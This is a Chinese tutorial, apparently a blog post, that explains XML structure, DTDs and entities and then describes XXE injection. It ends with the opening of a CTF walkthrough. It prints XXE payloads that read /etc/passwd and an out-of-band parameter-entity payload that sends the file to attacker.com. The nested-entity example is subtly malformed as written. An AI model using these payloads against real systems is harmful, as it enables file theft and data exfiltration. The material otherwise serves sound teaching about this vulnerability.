一.XML基础 🔗
XML 全称为 Extensible Markup Language ,即可扩展标记型语言。XML 被设计为传输和存储数据,聚焦于数据的内容。其文档结构包括 XML 声明 、DTD 文档类型定义以及文档元素 。
所有的XML文档都由元素(Elements)、属性(Attributes)、实体(Entities)、PCDATA(Parsed Character Data,即解析的字符数据)和CDATA(Character Data,即字符数据) 这些构建模块组成。
示例XML文档:
<?xml version="1.0" encoding="UTF-8"?>
<!-- XML 声明,指定了XML的版本和文档的字符编码 -->
<!DOCTYPE catalog [
<!-- DTD 文档类型定义,定义了catalog文档的结构 -->
<!ELEMENT catalog (product+)> <!-- catalog元素包含一个或多个product元素 -->
<!ELEMENT product (name, description)> <!-- product元素包含name和description元素 -->
<!ELEMENT name (#PCDATA)> <!-- name元素包含解析的字符数据 -->
<!ELEMENT description (#PCDATA | CDATA_SECTION)*> <!-- description元素可以包含解析的字符数据或CDATA部分 -->
<!ATTLIST product id CDATA #REQUIRED> <!-- product元素有一个必需的id属性 -->
<!ENTITY productname "SuperWidget 2000"> <!-- 定义了一个名为productname的实体 -->
]>
<!-- 文档元素,即catalog元素,它是整个XML文档的根元素 -->
<catalog>
<product id="123">
<!-- 使用实体引用插入产品名称 -->
<name>&productname;</name>
<description>
<!-- 使用CDATA部分来包含包含特殊字符的文本 -->
<![CDATA[This is a <special> product with & characters.]]>
</description>
</product>
</catalog>
1. 元素: 元素是XML文档的基本构建块,在上面的例子中,<catalog>, <product>, <name>, 和 <description>
都是元素。
2. 属性: 属性提供了元素的额外信息,它们位于元素的开始标签中。在上面的例子中,<product>
元素有一个 id 属性,其值为 123 。
3. 实体: 实体是XML中用于表示预定义数据的一种方式。它们可以在XML文档中被引用,而不是直接写入。
在上面的例子中,定义了一个名为productname
的内部实体,其值为 SuperWidget 2000
。在<name>
元素中,通过 &productname;
引用了这个实体。
4. PCDATA: PCDATA是XML文档中被解析的字符数据。它包含文本,这些文本会被解析器检查以查找标记、实体引用等。
在上面的例子中,<name>
元素中的&productname;
实体引用在解析时会被替换为 SuperWidget 2000,但替换后的文本仍然是PCDATA的一部分。
5. CDATA: CDATA部分用于告诉解析器忽略其中的标记、实体引用等,将其视为纯文本,CDATA部分是通过特定的语法(<![CDATA[...]]>)
来标记的。
在上面的例子中,<description>
元素使用了CDATA部分来包含包含特殊字符(如 < 和 &)的文本。这样,这些特殊字符就不会被解析器解释为标记或实体引用了。
DTD内部声明和外部引用 🔗
在XML中,DTD(Document Type Definition,文档类型定义)可以通过两种主要方式被声明:内部声明和外部引用。这两种方式在语法上有所不同,但它们都用于为XML文档提供验证规则和结构定义。
内部声明
内部声明是指将DTD直接嵌入到XML文档的声明中。这种方式适用于DTD内容相对较短或不需要被多个文档共享的情况。内部声明的语法如下:
<!DOCTYPE root-element [
<!ELEMENT element-name (element-content)>
<!-- 其他元素、属性、实体等声明 -->
]>
其中,root-element是XML文档的根元素名称,element-name是你要声明的元素名称,而element-content则定义了该元素的内容模型(即它可以包含什么)。注意,内部声明中的DTD是直接包含在方括号[]中的。
示例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE catalog [
<!ELEMENT catalog (product*)>
<!ELEMENT product (name, description)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT description (#PCDATA)>
<!ATTLIST product id CDATA #REQUIRED>
<!ENTITY productname "SuperWidget 2000">
]>
<catalog>
<product id="123">
<name>&productname;</name>
<description>A widget that does super things.</description>
</product>
</catalog>
外部引用
外部引用是指通过声明来引用一个外部的DTD文件。这种方式适用于DTD内容较长或需要被多个文档共享的情况。外部引用的语法有两种形式:SYSTEM和PUBLIC。
1. SYSTEM
SYSTEM用于引用本地系统或网络上的DTD文件。它的语法如下:
<!DOCTYPE root-element SYSTEM "URI">
其中URI是DTD文件的统一资源标识符(如文件路径或URL)。
示例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE catalog SYSTEM "catalog.dtd">
<catalog>
<!-- XML文档内容 -->
</catalog>
在这个例子中,XML解析器会查找与catalog.dtd相匹配的DTD文件,并根据其中的定义来验证XML文档的结构。
2. PUBLIC
PUBLIC用于引用通过公共标识符(如ISO标准号)和可能的系统标识符(如URI)指定的DTD。它的语法如下:
<!DOCTYPE root-element PUBLIC "public-identifier" "URI">
但请注意,并不是所有的XML处理器都会实际使用public-identifier来查找DTD,它主要用于文档化或作为DTD的标识符。通常,你仍然需要提供URI来实际定位DTD文件。
示例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE catalog PUBLIC "-//MyCompany//DTD Catalog//EN" "catalog.dtd">
<catalog>
<!-- XML文档内容 -->
</catalog>
DTD实体
DTD 实体是用于定义引用普通文本或特殊字符的快捷方式的变量,提高代码的复用性。实体分为 一般实体 和 参数实体 。
一般实体(普通实体):
一般实体用于在DTD或XML文档中定义一段可重用的文本。它可以在XML文档中被引用,并在解析时被替换为其实体值。一般实体可以在DTD中内部声明,也可以外部声明。
- 内部一般实体示例:
<!DOCTYPE catalog [
<!ENTITY productname "SuperWidget 2000">
<!ELEMENT catalog (product*)>
<!ELEMENT product (name, description)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT description (#PCDATA)>
]>
在XML文档中使用该实体:
<catalog>
<product>
<name>&productname;</name>
<description>A widget that does super things.</description>
</product>
</catalog>
在这个例子中,&productname;
是一般实体的引用,它会被替换为在DTD中定义的 SuperWidget 2000。
- 外部一般实体示例:
<!DOCTYPE catalog SYSTEM "catalog.dtd" [
<!ENTITY copyright SYSTEM "copyright.txt">
]>
注意:外部实体的声明通常不会直接嵌入在 声明中,而是单独存放在一个外部DTD文件中。
在XML文档中使用该实体:
<catalog>
<product>
<!-- 其他元素 -->
</product>
<copyright>©right;</copyright>
</catalog>
在这个例子中,©right;
是一般实体的引用,它会被替换为 copyright.txt 文件中的内容。
参数实体
参数实体主要用于在DTD中声明,然后在DTD的其他部分或另一个DTD中被引用。*它们不能直接在XML文档中被引用。*参数实体通常用于定义可以复用的元素声明、属性列表或其他DTD结构的片段。
参数实体示例:
<!DOCTYPE catalog [
<!ENTITY % productContent "(name, description, price?)">
<!ELEMENT catalog (product*)>
<!ELEMENT product %productContent;>
]>
在这个例子中,%productContent;
是一个参数实体,它定义了一个内容模型片段,即 product
元素可以包含 name、description 和可选的 price 元素。
然后,这个参数实体在 product 元素的声明中被引用,以指定其内容模型。
二.XML外部实体注入(XXE) 🔗
XXE 攻击是许多基于注入的攻击方式之一,攻击者将 XML 文档中外部实体发送到应用程序中并使用 XML 解析器解析时就会发生这种攻击。
常见XXE注入方式有以下三种:
1. 直接通过DTD外部实体声明
示例:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<a>&b;</a>
通过声明一个外部实体b,其系统标识符(SYSTEM)指向了服务器的/etc/passwd文件。当XML处理器解析这个XML文档时,它会尝试从指定的URI加载外部内容,并将这些内容插入到XML文档中。因此,/etc/passwd文件的内容将被插入到<a>
标签中,并可能被返回给攻击者。
2. 通过DTD外部实体声明引入外部DTD文档
这种方式下,攻击者首先在外部DTD文档中声明外部实体,然后在XML文档中通过DOCTYPE声明引入这个外部DTD文档。
示例:
external.dtd文件:
<!ENTITY xxe SYSTEM "file:///etc/passwd">
XML文件:
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://example.com/external.dtd">
<a>&xxe;</a>
当XML处理器解析这个XML文档时,它会先加载external.dtd
文件,然后解析其中的实体声明,最终将/etc/passwd
文件的内容插入到XML文档中。
3. 利用参数实体进行XXE注入
示例:
external.dtd文件:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;
XML文件:
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://example.com/external.dtd">
<a>&send;</a>
当XML处理器解析这个XML文档时,它会加载external.dtd
文件,并解析其中的参数实体声明。由于%all;
在DTD中被引用,它会展开为send
实体的声明。最后,当XML处理器遇到&send;
时,它会尝试从指定的URL加载外部内容,并将URL中的%file;
替换为/etc/passwd
文件的内容。
例题:XXE COURSE 1
打开题目是个登陆页面,随便写个登录
抓包发现出现xml
可以看到有个root元素,直接为其添加一个外部实体并在后续引用实现xxe